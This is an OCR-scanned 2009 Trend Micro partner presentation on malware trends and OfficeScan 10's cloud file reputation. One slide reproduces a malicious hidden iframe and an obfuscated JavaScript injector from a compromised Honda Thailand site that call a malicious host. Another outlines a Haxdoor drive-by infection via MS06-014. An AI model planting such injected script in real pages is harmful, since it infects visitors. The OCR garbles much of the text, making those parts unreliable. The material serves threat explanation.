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Why do we need a new approach against
malware?

Because Cybercrime is
mainstream now!

A malware industry has
been established!

Cybercrime is bigger than the drug trade today?

, . . . #®, TREND,
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Collaboration in the Underground

Botnhet
Vendors
and Hackers

Carders

Independent Spammers
Businessman Blackmailers

Anti-
Detection
Vendors
ToolKkit
Vendors

Malware
Vendors
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Increase in unique malware samples

1988: 1738 unique malware samples

1998: 177615 unigue malware samples

2008 Jan-May: 2753587 unique malware samples*

Data source: AV-Test.Org, June 2008
* = January - May 2008
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Increase in unique malware samples -

AV-Test.org's Sample Collection Growth
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Incoming Threat Samples Per Hour

2
Trend Micro processes 1500 samples
per hour in year 2009
16,43
6,279
sl
o AN 5 ~
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Problems in the pattern deployment in the future?
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Why Internet Security?

Top threat infection vectors
(how threats arrive on PCs)

Threats now mostly from the Internet
1. Visits to malicious websites
(42%)

2. Downloaded by other malware
(34%)

3. E-mail attachments & links
{ 9%)

4. Transfers from removable disks
{ 8%)

S. Other (mostly via Intermet)
- /o\
source: Trend Micro

JNTERNETI
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A Typical Web Threat 1 9th of May 2008

File Edit View History Bookmarks Tools Help

¢ - . \» LE__ [ http://www.honda.co.th/accord/main.html v B |G-

2 Honda Automobile {Thailand) Co.,Ltd. All rights reserved

Done

e

©
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What does the HTML Code look like?

Fle Edit Wiew Help

<td:img sre="images/p_02.]pg" width="325" height="130" border="0" /»</td>
Wty
<t

<td{img src="images/p_04.]jpg" width="325" height="130" /> td>
ot
<t

<td-img sre="images/p_06.7pg" width="325" height="105" /»</td>
<t
<t

<tdsimg sre="images/p_bl2.jpg" width="325" height="80" /< td:
Wty

» HTML_IFRAME. QJ 1 first detected since
April 29, 2008 using scan engine 8.300 and
pattern file 5.247.00.

</ tablex</ td>
<td-table width="325" border="0" cellspacing="0" cellpadding="0">
<t
<tdsimg sre="images/p_bl@.jpg" width="335" height="65" /< td:
< t<:>tr> I} de-obfuscated.txt - Notepad
<td<img sre="images/p_bll.jpg" width="335" height="70" /></td> Ele Edit Format yew Help
<t <SCRIPT>window.status="Done"; document.writ
ot e('<_‘if;ame qqme=926ac60§ (nFo/dir ind
: —— WIZEN had e src="http://getanewmazda. info/dir/index.p
<J<ttg><1rng sre="images/p_03.]pg" width="335" height="130" />{/td hp? ' +math. Ad(Math. random() *261954) + " ec3
r 4d7dd3c3f’ width=594 height=441
<ty ) ) style=""display:
<td-<img sre="images/p_85.]pg" width="335" height="130" /»{/td> Y=/ iframes" )</ SCRIPT=
ot
<ty
<tds<img sre="images/p_87.jpg" width="33
ot

an i frame \6éhtstrpc:=/ /| get anewma z dja

<td-img sre="images/p_bl3.jpg" width="3 . ..
g Getanewmazda.info stores malicious code

</tablex</td>
Sty
</table>

</body> J
</ htril>
<itrame sre='http://url’ widthe'l' height='1' style='visibility: hidden; '»</iframex<script=function v4§22210e7b881(v4822218e7c050]){ function v4822218e7c826 () {var v4822210e7cffl=16;

return v4822210e7cff1;} return(parselnt(v4822210e7cE50, v4822210e7c826() ) ) ;Hfunction v4822210e7d7c(v4822210e7dth3){ function v4822218e7f6fe () {var v4822210e7fece=2; return
v4822218e7fece;} var v4822218e7e77d="";for(v4822210e7ef30=0; v4822210e7ef30<v4822210e7dTh3. length; v4822210e7ef30+=v4822210e7fEfe(] ) {

v4822218e7e77d+=(5tring. fromCharCode (v4822210e7b881(v4822210e7dfh3 . substr(v4822210e7ef30, v4822210e7f6Te()])));return v4822218e7e77d;}
document.write(v4822218e7d7c0( ' 305343524950543E77696E646F 772E7374617475733027446F6E652 73R646F637560656E 742E7 772697465282 730 696672616065 205E6160653 062666430623 13565626220737263305C2
[«] m [ [>]
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Fast Reaction from Hondal

@@ - |§, hkkp: ffwy . honda. co.thyf b

Datei  EBearbeiten  Ansicht  Faworiten  Extras 7

W

E under construction l l

HONDA

Under Construction

i Trend Micro Channel Confidential 1 “June-2009 11 i Copyright 2009 - Trend Micro Inc.



Another Typical Web Threat

1. Your boss asks you to develop a corporate travel policy
2. You begin with a Google search on travel policy

First result Is

a .gov site

Second result

looks like a
good choice

Trend Micro Channel Confidential

A travelpolicy - Google Search - Microsoft Internet Explorer

GO Ogle [travelpolicy | [ Search | W

Results 1 - 10

procedures and documents

www._gsa.goyl
www.zequel.com

How To Write An Effective Travel Policy Manual
Do-it-yourself travel policy gunde for your busmess 44 page tep by step guide
com/ - 3k - i-S

REGION 3 TRA
REGION 3 TRAVEL POLICY FOR TRAVEL PLANNING AND REIMBURSEMENT. (Operations
Manual - APPENDIX B.1). Necessary and authonzed travel expenses associated wath ...
wwiw ewh ieee_org/regf3/fexcom/mestings/present-travelpolicy html - Similar psges

Travelgollcx Info Page

b be to Tr Ipolicy by filling out the follovang form. ... To unsubscribe from
Travelpolicy. g=t a password reminder, or change your subscription ...
lists hes harvard. edu/mailmanilistinfo/travelpolicy - 7k - Cached - Similar pages

ros; A. PRE-TRAVELPOLICY Policys ecionMaximumbenefitExces s ...

File Edt View Favortes Tools Help a

QBack - ) ¢] & @2 O search ¢ Favorkes €2 JE o< 3

Address &'] http://vawve.google. com/seard’f’hl-en&kr &ris= GGLG°/o2CGGLG°/a3A2006 08%2CGGLG°/°3Aen&q—u'aveb > . Go Lnks

Google [Glvtaveipolcy |Go ¢ @ EF ~ ¥ Bookmarks~ |EJ Popups okay| ¥ Check ~ & Autolink ~ > () Settings~
Signin =

Search for
mrave polidy Did you mean: travel policy Sponsored Links
Images GSA - Travel Manageg!!em
Maps The shortcut to this page is www.gsa. govitravelpolicy. Last Reviewed T Poli -
Mews 6/22/2006. Printer Friendly 1ormat CONTACTS Add:llonal Contacts For . Software that manage your policies,

File Format PDFJMobe Acrobat - View as HTML . . Oct 7 2006 ~

&] £ Internet

June-2009 12 Copyright 2009 - Trend Micro Inc.
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Example: Haxdoor

1. You click on the second search

result

2. You waitethe
be downloading images and

S

contentéyou wali

waiteée

3. Finally you close the browser
wi ndowéeyouol |

i Trend Micro Channel Confidential i June-2009 i 13

f

Fle Edt View Favortes Took Heb ]
|.J ) _"J .ﬂ :f:~ /.'- Search »-J:,:-Favortes e vy owm L) ﬂ @ q 3

|l nd anot her Ssi te

4 My Computer

3
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Example: Haxdoor

Unbeknownst to youé

1. The IFRAME at the top of the page leads you to an
iIndex.htm file

2. This file includes a script that exploits the MS Internet
Explorer (MDAC) Remote Code Execution Exploit
(MS06-014)

I The original exploit code has been modified to try to bypass AV
scanners that detect the original exploit

3. An executable file (win.exe) is downloaded to your
system and executed

4. You now have a backdoor with rootkit featuresd a
variant of the notorious family of backdoor rootkits known
as Haxdoor!

i Trend Micro Channel Confidential 1 “June-2009 | 14 i Copyright 2009 - Trend Micro Inc.



Trend Micro Smart Protection Network (Web)

Correlation:
. ) URL End User 3rd Party URL Threat URLs in Customer URLs
SOU Icl ng . Sourcing Query Traffic a Sources Research Spam Mails Feedback

URL Automatic Rating Systems ;
Analysis Category Collaboration
JIT Human Validation Anti-Spam
Operation
Processes more than 50 Million
new | P addresses é | Malicious EXE or URLs K -Malware
,32 Category Reputation eration
(%2}
Processes more than 1.2
Terabyte daily Threat Research
Operation
More than 1000 Global Threat ~ .
Research and Analysis Experts l
Operates 24/7 in 10 centers Worldwide Services Dispatch

Email Security Services
around the world Y

L URL Services URL Services URL Services Email _
Query Points Query Points Query Points Reputation Services

Category & Reputation Score #

DNS & HTTP —* OEM Partners
Point
Products
URL Filtering Service Web Reputation Service
AV/AS Detection Signature or Heuristics

URLs with malware
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Processing of a Web Threat - Honda example

URLs in
Spam Mails

Y 1

URL End User 3rd Party URL Threat
Sourcing Query Traffic Sources Research

(o ety /furl" ke s D' sty vasibilaty: hidden, /A ramescelptofunction vaR22210uTOGRL vARRI2LONTCOG01( fometion vaRL2IET5 () {var LORTCff1:16;

roturm vaaL22 L0671} roturn(parselng(vaGa20eTcest, aanaatoenca( )| ): Hunction vaAD2Loende(vagaa2Loesfba){ fnction vibdadL0eTtife () {var vabddloenfeces; return Virus Scan Engine VSAPI (heuristics):
WM var VTN for Tk v ek . gt v e st 1210127434 61.91.242.26 1 TREIGSA15
VIR L06TETRd= String frenCharCode AR22210 8L vAR2221ORTEFD3 substr (v L0kTefa9, v 10eTe6e()))));proturn vadn2LokTemnd;) 1.5.1102 43ffffff 3 Possible Hifrm-2 0

et LA e ATt T T 404530 4G50 TS R50E T2 64465 2T OB TL6065 206 EDES 0G0 5400623 G5 62243306

http:%2f%2fwww.honda.co.th%2fjazz%2f

v

Anti-Malware

Operation

Infected sites

detected as = GetaneV\I/_mazd?.info
HTML_IFRAME.QJ maliCious:

16 Copyright 2009 - Trend Micro Inc.
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frveRTRREN]
.......

Trend Micro Smart Protection Network .
Security Made Smarter T

ZOOV S ‘:?NBW
A Samples

IR Files
. k: Management
Threat Analysis : e
A Submissions TrendLabs & = : *:

§ P
A Honeypots _ Malware Database
A web Crawling g-‘ T P
rendLabs

A Feedback Loops

A Behavioral Analysis %{%
N

Threat Collection

A Customers

A Partners
A TrendLabs Research, ‘
Service & Support

Threat Feeds
(Email, Web, File)

Multi-Vector SaaS/Managed
. """"’ Correlation
ISPs, Cisco, e y
Linksys,
Sony, etc. Feedback Loops
Endpoint

Off Netw

— | e

——
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Why File Reputation in the Cloud?

The traditional approach to Malware protection places the burden
of storage and detection intelligence ON the customer.

Burden of Storage

Negative Effects
Q:,J Avastly increasing endpoint resource usage

(disc, cpu, memory)
Aincreasing network bandwidth
Aincreasing delays in handling new threats
Aoutdated clients?

Endpoint

i Trend Micro Channel Confidential 1 “June-2009 1 18 i Copyright 2009 - Trend Micro Inc.


http://www.mrmen.net/char.php?rude/mr

Why File Reputation in the Cloud?

The future approach to Malware protection places the burden of
storage and detection intelligence In the cloud.

Burden of Storage

6 Advantages

% Aminimal endpoint resource usage
Aconsistent network bandwidth usage
- Aimmediate handling of new threats
End POl nt Aincreased awareness of localized threats

i Trend Micro Channel Confidential 1 “June-2009 1 19 i Copyright 2009 - Trend Micro Inc.



Benefits of Cloud-Client Architecture

Hours Until Protection Is in Place

Pattern File Deployed

Pattern File Received

Threat Detected

Prokeead D Bteokeybd

Conventional Cloud-Client
Content Security Architecture

Decrease Security Latency:

Faster Protection Equals Lower Risks and Costs

Trend Micro Channel Confidential June-2009 20



File Reputation i Feedback Loop

A The feedback loop mechanism does not involve copying
or downloading any files from customer communications
for analysis. When a file in an email attachment is
determined by behavioral analysis to be malicious, the
only information that is sent to the file reputation
dat abase i1 s a nfathegnenimpm ijQRCO
required to uniquely identify that file, along with
references to |IP addresses associated with spam or
potentially malicious websites.

A All of this is accomplished without downloading the entire
file, or in any way accessing the business data that is
Included in that file. In no case is any information stored
that would allow the file to be traced to an end user or
customer organization.

. . . . f®) TREND,
i Trend Micro Channel Confidential 1 “June-2009 A i Copyright 2009 - Trend Micro-Inc. o YICRO



OfficeScan 101 Available now! :

OfficeScan

Product Updates

Product VersionSize Lang uagﬁg::::f'e User Guides
*» OfficeScanl0.0_en_GM_B1l068R1.axe 10 410.7MB- May 13,|* Administrator's
Windows 2005 Guide
¥ Installation and
There are two installation packages in Upgrade Guide
OfficeScan 10.0: » Server/Client

Feadme

* Smart Scan
Getting Started
Guide

- The package (.exe package) installs
both the OfficeScan server and Trend
Micro Smart Scan Server (integrated
version) on a computer running
Windows operating system.

- The package (.iso package) installs

the Trend Micro Smart Scan Server

(standalone version) on a VMWare .

virtual machine. | Icro c

-¥ou can upgrade to this product version
free of charge. Visit this site for more
information.

httpd

-If you are using OfficeScan 8.0 S5P1
with patch 3, please apply patch 3.1
before upgrading to this version. For
more information on patch 3.1, refer to
the readme.

* tmess-1.0.1245-1-x86_64-CD.isa 1.0 S00.9MB- May 15, * ReadMe
- 2009

Trend Micro Channel Confidential June-2009 22 Copyright 2009 - Trend Micro Inc.



OfficeScan 10717 New features

A File Reputation

A Cloud Scan Server (Integrated or Standalone)
A Device Control

A Role Based Administration

A Active Directory integration for Security Compliance
reports

A Optional End-user control for Scheduled Scans
A Web Reputation configurations improvements
A Windows Server 2008 Support

i Trend Micro Channel Confidential 1 “June-2009 123 i Copyright 2009 - Trend Micro Inc.



OfficeScan 10

A File Reputation

I With File Reputation technology, the OfficeScan client provides
more immediate protection with negligible pattern management
effort and a lighter footprint

I Administrators can decide to use either cloud based scanning or
traditional scanning technology

/2 Scan Method Settings - Windows Internet Explorer =10 x|
=]

Scan Method Settings Help

IMPORTANT: Switching from one scan method to another may significantly affect both OfficeScan server and client

performance, especially if a large number of clients will switch. For more information, refer to the Help.

{" Standard Scan

Standard Scan leverages anti-malware and anti-spyware components stored locally on endpoints.

{* Cloud Scan
Cloud Scan leverages anti-malware and anti-spyware signatures stored in-the-cloud.

Save Cancel

i Trend Micro Channel Confidential 1 “June-2009 | 24 i Copyright 2009 - Trend Micro Inc.



OfficeScan 10

ORIGINAL CONSUMER PATTERNS

NEW CCFR PATTERN BRANCH

Anti-malware Pattern
LPTSVPN.??2?

+

Antispyware Pattern
SSAPTN.???

Cloud Virus Pattern (SERVER)
[Anti-mahware & Andspyware)
iCRCSTRL. 7?77
(MEW CCFR PATTERM BRANCH)

Cloud Virus Agent Pattern

(CLIENT)
(Anti-mabware & Antispyware)
ICRCHCTH.??7
|MEW CCFR PATTERM BRAMNCH)

Trend Micro Channel Confidential June-2009
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OfficeScan 10 ;

FILE

REPUTATION
Query file signature

Immediate response

Internet

Corporate Network

Constant, real-time
updates happen

in the cloud
Query file signature
-
Immediate response
Local Scan Server
. . . . @TREND
i Trend Micro Channel Confidential i June-2009 1 26 i Copyright 2009 - Trend Micro Inc. - " ! CRO



OfficeScan 10

A Cloud Scan Server (Integrated)

C

DH NH N N

i Trend Micro Channel Confidential 1 “June-2009 { 827 i Copyright 2009 - Trend Micro-Inc. o’

Integrates with OSCE 10 server (on OSCE management console)
Supports Windows platform either in 32 or 64 bits environment
Performs active update for Cloud Scan Server related patterns
Stores Cloud Virus & Smart Filter Patterns

Clients are able to download latest Smart Filter patterns from Cloud
Scan Server

Clients are also able to send CRC queries to Cloud Scan Server

Responds results back to the clients by querying patterns in the
shared memory



OfficeScan 10 - cloud Scan Server (Integrated)

A Install Cloud Scan Server (Integrated)

Trend Micro OfficeScan

Install Cloud Scan Server [Embedded]

|
” Select No

Claud Scan Server [Embedded] Dezcription

T he following settings will be applied ta installation of cloud scan zerer.

/

Wwhiould you like toinstall it now'? Trend Micro tRHicERs ﬂ
i Install Cloud Scan Server [Embedded)
% Mo, | don't want b install Cloud Scan Server o TREND
J MICRO
" Yesz, pleaze install it now
Cloud Scan Server [Embedded] Description
The following settings will be applied to installation of cloud scan server.
Would you like to install it now?
[ rrstallS hield )
" No, | don't want to install Cloud Scan Server
Help < Back | M
& Nes, please install it nows
—
¥ Enable 55
Certificate validity period: I;;; year(s)
SSL port: 4343
Select Yes IstaliShield
Help | < Back | Next » I Cancel |
. . \ #®, TRE
Trend Micro Channel Confidential 1 “June-2009 1 28 i Copyright 2009 - Trend Micro Inc. o7 M1 C
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OfficeScan 10 - cloud Scan Server (Integrated)

Cloud Scan Service Source

M)1reve. | OfficeScan™

Scan Now

Logged in as; 8 root &Log Off | l

Update Server Now

summary

Cloud Scan Server Source

Cloud Clients connect to Cloud Scan Server according to Computer Location.

External Computers | Internal Computers

Compliance Report
+ Networked Computers

Cloud Scan Server

Source

Trend Micro Global Cloud Scan Service

External computer will connect to Trend Micro Global Cloud Scan Service
Trend Micro's Global Cloud Scan Service

(https://oiea.trendmicro, com/trncss/VSAPIINfo?)

Cloud Scan Server

+ Updates
+ Logs

+ Cisco NAC
+ Notifications

+ Adrinistration

+ Tools

Plug-in Manager

June-2009

Trend Micro Channel Confidential
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OfficeScan 10 - cloud Scan Server (Integrated)

Cloud Scan Server

—

Scan Now

Update Server Now

Summary

Compliance Report

+ Networked Computers

Cloud Service

Cloud Scan Server Source

f®) TREND. . OfficeScan~

Logged in as: 8 root & Log Off | I

I Cloud Scan Server 3

+ Updates
*Logs
+ Cisco NAC

+ Notifications

+ Administration

+ Tools

Plug-in Manager

Trend Micro Channel Confidential June-2009

Cloud Scan Server (Integrated)

¥ Enable Cloud Scan Server (Integrated)

Help

Cloud Scan Server URL

https://i-b-4:4345/trcss/

Component Status

Componant Current Version Last Update

Cloud Virus

S.411,00 11/18/2008 11:19:36
Index Pattern
Cloud Virus

S5.657,00 11/18/2008 11:21:13
Pattern

Update Settings

Update Schedule

@ Hourly
(& Every 15 minutes

Update Source

&  Trend Micre ActiveUpdate Server
(httpi//beta, external.trendmicro. com/factiveupdate/icrc)
(@ Other Update Source:

Ihttp s

Cancel I

30
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OfficeScan 10

A Cloud Scan Server (Standalone)

i Trend Micro Channel Confidential 1 “June-2009 t 831 i Copyright 2009 - Trend Micro-Inc. o’

A Linux Server with CentOS 5.1 kernel (a freely-available Linux
distribution)

Stores Cloud Virus Pattern (on database) & Smart Filter
Clients can download both Smart Filter from Cloud Scan Server

ICRC Clients make CRC queries to the Cloud Virus Pattern DB
on Cloud Scan Server

ONLY be installed as virtual machine on VMWare ESX 3.0, ESX
3.5, ESXi 3.5 and Server 2.0

CPU/BIOS MUST support Virtualization Technology

Virtual machine MUST be 64-bit compatible (i.e. 64-bit Guest
0S)

ICRC Cloud Scan Server CANNOT be installed on Virtual
machine without hard drive or network device



OfficeScan 10 - cloud Scan Server (Standalone)

5 ~=18]x]|
File Edit View Favorites Tools Help - I ‘z.
QBack ~ &) ~ [x] 2] r(hlpSearch '~ Favorites @l(jv S
Address [&] http://10.10.35.231:8080/index.phe?resson=logoff B |unks >

M) TREND. | c1oud Scan Service

@ Copyright 2008 Trend Micro Incorporated. Al rights reserved.

v 1. Open http://serverip:8080
v2. Login as ndnadminp onl

|
@Done l_l_,_l_[_[W

Copyright 2009 - Trend Micro Inc.
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OfficeScan 10 - cCloud Scan Server (Standalone)

()18 Cloud Scan Service

END
cHO

Logged in as: @admin & Log Off | About

Summary
zummary
+ Lpdate — = =
E Cloud Scan Service
Support

https:/f10. 2,168,185/ trmcs s

Component Status

Component

Current ¥ersion

Last Update

Tnud Virus Index Pattern

Cloud Wirus Patkern

S.411.00

S.625,00

2002 11-07 03:11:03 AM

2002 11-0s 08:0323:10 PM

33
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OfficeScan 10

A File Reputation

I Administrators can decide to use either cloud based scanning or
traditional scanning technology

New icon ->

i Trend Micro Channel Confidential 1 “June-2009 1 34 i Copyright 2009 - Trend Micro Inc.



